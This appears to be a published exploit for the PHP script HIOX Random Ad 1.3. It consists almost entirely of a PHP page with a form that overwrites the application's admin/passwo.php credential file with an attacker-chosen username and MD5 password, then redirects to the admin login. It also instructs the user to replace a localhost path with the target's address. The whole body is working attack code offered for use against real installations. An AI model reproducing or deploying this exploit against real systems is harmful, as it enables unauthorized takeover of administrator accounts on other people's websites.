HIOX Random Ad 1.3 Arbitrary Add Admin User Exploit

<?php
@session_start();
?>
<table align=center width=72% height=95% ><tr><td>
<?php
/*
HIOX Random Ad 1.3 Arbitrary Add Admin User Vulnerability
[~] Discoverd & exploited by Stack
[~]Greeatz All Freaind
[~]Special thnx to Str0ke
[~] Name Script : HIOX Random Ad 1.3
[~] Download : http://www.hscripts.com/scripts/php/downloads/HRA_1_3.zip
You need to change http://localhost/path/ with the link of script it's very importenet
*/
$creat = "true";
$iswrite = $_POST['createe'];
if($user=="" && $pass==""){
if($iswrite == "creatuser")
{
$usname = $_POST['usernam'];
$passwrd = md5($_POST['pword']);
if($usname != "" && $passwrd != ""){
$filee = "http://localhost/path/admin/passwo.php";
$file1 = file($filee);
$file = fopen($filee,'w');
fwrite($file, "<?php \n");
fwrite($file, "$");
fwrite($file, "user=\"$usname\";\n");
fwrite($file, "$");
fwrite($file, "pass=\"$passwrd\";");
fwrite($file, "\n?>");
fclose($file);
$creat = "false";
echo "<div align=center style='color: green;'><b>New User Created
<meta http-equiv=\"refresh\" content=\"2; url=http://localhost/path/admin/index.php\">
<br>Please Wait You will be Redirected to Login Page
</div>";
}
else{
echo "<div align=center style='color: red;'><b>Enter correct Username or Password </div>";
}
}
if($creat == "true"){
?>
<table align=center valign=center bgcolor=000000 align=center cellpadding=0 style="border: 1px #000000 solid;">
<tr width=400 height=20><td align=center bgcolor="000000"
style="color: ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
Create New User </td></tr>
<tr width=400 height=20><td>
<form name=setf method=POST action=<?php echo $PHP_SELF;?>>
<table style="color:#ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
<tr><td>User Name</td><td><input class="ta" name="usernam" type=text maxlength=20 >
</td></tr>
<tr><td>Password</td><td><input class="ta" name="pword" maxlength=20 type=password></td></tr>
<input name="createe" type=hidden value="creatuser"></td></tr>
<tr><td></td><td><input type=submit value="create"></td></tr>
</table>
</form>
</td></tr></table>
<?php
}
}else{
echo "<div align=center style='color: red;'><b>User Already Exist</div>";
}
?>
</td></tr></table>

</div>